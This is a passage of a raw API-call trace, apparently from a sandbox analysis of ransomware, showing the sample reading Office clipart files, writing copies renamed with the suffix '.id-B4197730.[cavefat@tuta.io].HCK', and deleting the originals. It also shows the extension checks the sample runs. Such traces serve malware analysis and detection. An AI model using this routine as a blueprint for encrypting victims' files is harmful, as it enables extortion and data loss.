(lpString1=".bz2", lpString2=".WMF") returned -1 [0156.256] lstrlenW (lpString=".7z") returned 3 [0156.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0156.256] lstrlenW (lpString=".dbf") returned 4 [0156.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0156.256] lstrlenW (lpString=".1cd") returned 4 [0156.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0156.256] lstrlenW (lpString=".jpg") returned 4 [0156.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0156.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0156.256] lstrlenW (lpString=".doc") returned 4 [0156.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.256] lstrlenW (lpString=".docx") returned 5 [0156.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.256] lstrlenW (lpString=".pdf") returned 4 [0156.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.256] lstrlenW (lpString=".xls") returned 4 [0156.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.257] lstrlenW (lpString=".xlsx") returned 5 [0156.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.257] lstrlenW (lpString=".ppt") returned 4 [0156.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0156.257] lstrlenW (lpString=".zip") returned 4 [0156.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.257] lstrlenW (lpString=".rar") returned 4 [0156.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.257] lstrlenW (lpString=".bz2") returned 4 [0156.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.257] lstrlenW (lpString=".7z") returned 3 [0156.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0156.257] lstrlenW (lpString=".dbf") returned 4 [0156.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0156.257] lstrlenW (lpString=".1cd") returned 4 [0156.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0156.257] lstrlenW (lpString=".jpg") returned 4 [0156.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.257] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.257] lstrlenW (lpString="BL00045_.WMF") returned 12 [0156.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.257] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7862) returned 1 [0156.257] CloseHandle (hObject=0x37c) returned 1 [0156.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0156.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.258] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.258] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.258] GetLastError () returned 0x0 [0156.258] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1eb6, lpOverlapped=0x0) returned 1 [0156.259] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1ec0, lpOverlapped=0x0) returned 1 [0156.260] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.260] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.260] SetEndOfFile (hFile=0x2ec) returned 1 [0156.260] CloseHandle (hObject=0x2ec) returned 1 [0156.261] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.261] SetEndOfFile (hFile=0x37c) returned 1 [0156.262] CloseHandle (hObject=0x37c) returned 1 [0156.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0156.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0156.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0156.262] lstrlenW (lpString=".doc") returned 4 [0156.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.262] lstrlenW (lpString=".docx") returned 5 [0156.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.262] lstrlenW (lpString=".pdf") returned 4 [0156.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.262] lstrlenW (lpString=".xls") returned 4 [0156.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.263] lstrlenW (lpString=".xlsx") returned 5 [0156.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.263] lstrlenW (lpString=".ppt") returned 4 [0156.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0156.263] lstrlenW (lpString=".zip") returned 4 [0156.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.263] lstrlenW (lpString=".rar") returned 4 [0156.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString=".bz2") returned 4 [0156.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString=".7z") returned 3 [0156.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0156.263] lstrlenW (lpString=".dbf") returned 4 [0156.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0156.263] lstrlenW (lpString=".1cd") returned 4 [0156.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0156.263] lstrlenW (lpString=".jpg") returned 4 [0156.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0156.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0156.263] lstrlenW (lpString=".doc") returned 4 [0156.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString=".docx") returned 5 [0156.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.263] lstrlenW (lpString=".pdf") returned 4 [0156.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString=".xls") returned 4 [0156.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.263] lstrlenW (lpString=".xlsx") returned 5 [0156.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.263] lstrlenW (lpString=".ppt") returned 4 [0156.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0156.263] lstrlenW (lpString=".zip") returned 4 [0156.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.263] lstrlenW (lpString=".rar") returned 4 [0156.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString=".bz2") returned 4 [0156.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString=".7z") returned 3 [0156.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0156.263] lstrlenW (lpString=".dbf") returned 4 [0156.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0156.264] lstrlenW (lpString=".1cd") returned 4 [0156.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0156.264] lstrlenW (lpString=".jpg") returned 4 [0156.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.264] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.264] lstrlenW (lpString="BL00098_.WMF") returned 12 [0156.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.264] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1012) returned 1 [0156.264] CloseHandle (hObject=0x37c) returned 1 [0156.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220 [0156.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.264] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.264] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.265] GetLastError () returned 0x0 [0156.265] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3f4, lpOverlapped=0x0) returned 1 [0156.266] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x400, lpOverlapped=0x0) returned 1 [0156.266] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.267] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.267] SetEndOfFile (hFile=0x2ec) returned 1 [0156.267] CloseHandle (hObject=0x2ec) returned 1 [0156.267] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.268] SetEndOfFile (hFile=0x37c) returned 1 [0156.268] CloseHandle (hObject=0x37c) returned 1 [0156.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0156.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0156.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0156.269] lstrlenW (lpString=".doc") returned 4 [0156.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.269] lstrlenW (lpString=".docx") returned 5 [0156.269] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.269] lstrlenW (lpString=".pdf") returned 4 [0156.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.269] lstrlenW (lpString=".xls") returned 4 [0156.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.269] lstrlenW (lpString=".xlsx") returned 5 [0156.269] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.269] lstrlenW (lpString=".ppt") returned 4 [0156.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0156.269] lstrlenW (lpString=".zip") returned 4 [0156.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.269] lstrlenW (lpString=".rar") returned 4 [0156.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.269] lstrlenW (lpString=".bz2") returned 4 [0156.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.269] lstrlenW (lpString=".7z") returned 3 [0156.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0156.269] lstrlenW (lpString=".dbf") returned 4 [0156.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0156.269] lstrlenW (lpString=".1cd") returned 4 [0156.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0156.269] lstrlenW (lpString=".jpg") returned 4 [0156.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0156.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0156.269] lstrlenW (lpString=".doc") returned 4 [0156.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString=".docx") returned 5 [0156.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.270] lstrlenW (lpString=".pdf") returned 4 [0156.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString=".xls") returned 4 [0156.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.270] lstrlenW (lpString=".xlsx") returned 5 [0156.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.270] lstrlenW (lpString=".ppt") returned 4 [0156.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0156.270] lstrlenW (lpString=".zip") returned 4 [0156.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.270] lstrlenW (lpString=".rar") returned 4 [0156.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString=".bz2") returned 4 [0156.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString=".7z") returned 3 [0156.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0156.270] lstrlenW (lpString=".dbf") returned 4 [0156.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0156.270] lstrlenW (lpString=".1cd") returned 4 [0156.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0156.270] lstrlenW (lpString=".jpg") returned 4 [0156.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.270] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.270] lstrlenW (lpString="BL00105_.WMF") returned 12 [0156.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.270] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=880) returned 1 [0156.270] CloseHandle (hObject=0x37c) returned 1 [0156.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220 [0156.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.271] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.271] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.271] GetLastError () returned 0x0 [0156.271] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x370, lpOverlapped=0x0) returned 1 [0156.751] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x380, lpOverlapped=0x0) returned 1 [0156.766] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.770] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.771] SetEndOfFile (hFile=0x2ec) returned 1 [0156.775] CloseHandle (hObject=0x2ec) returned 1 [0156.777] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.777] SetEndOfFile (hFile=0x37c) returned 1 [0156.777] CloseHandle (hObject=0x37c) returned 1 [0156.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0156.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0156.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0156.778] lstrlenW (lpString=".doc") returned 4 [0156.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.778] lstrlenW (lpString=".docx") returned 5 [0156.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.778] lstrlenW (lpString=".pdf") returned 4 [0156.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.778] lstrlenW (lpString=".xls") returned 4 [0156.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.778] lstrlenW (lpString=".xlsx") returned 5 [0156.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.778] lstrlenW (lpString=".ppt") returned 4 [0156.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0156.778] lstrlenW (lpString=".zip") returned 4 [0156.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.778] lstrlenW (lpString=".rar") returned 4 [0156.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.778] lstrlenW (lpString=".bz2") returned 4 [0156.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.778] lstrlenW (lpString=".7z") returned 3 [0156.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0156.779] lstrlenW (lpString=".dbf") returned 4 [0156.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.779] lstrlenW (lpString="C:\\Program Files\\Microsoft 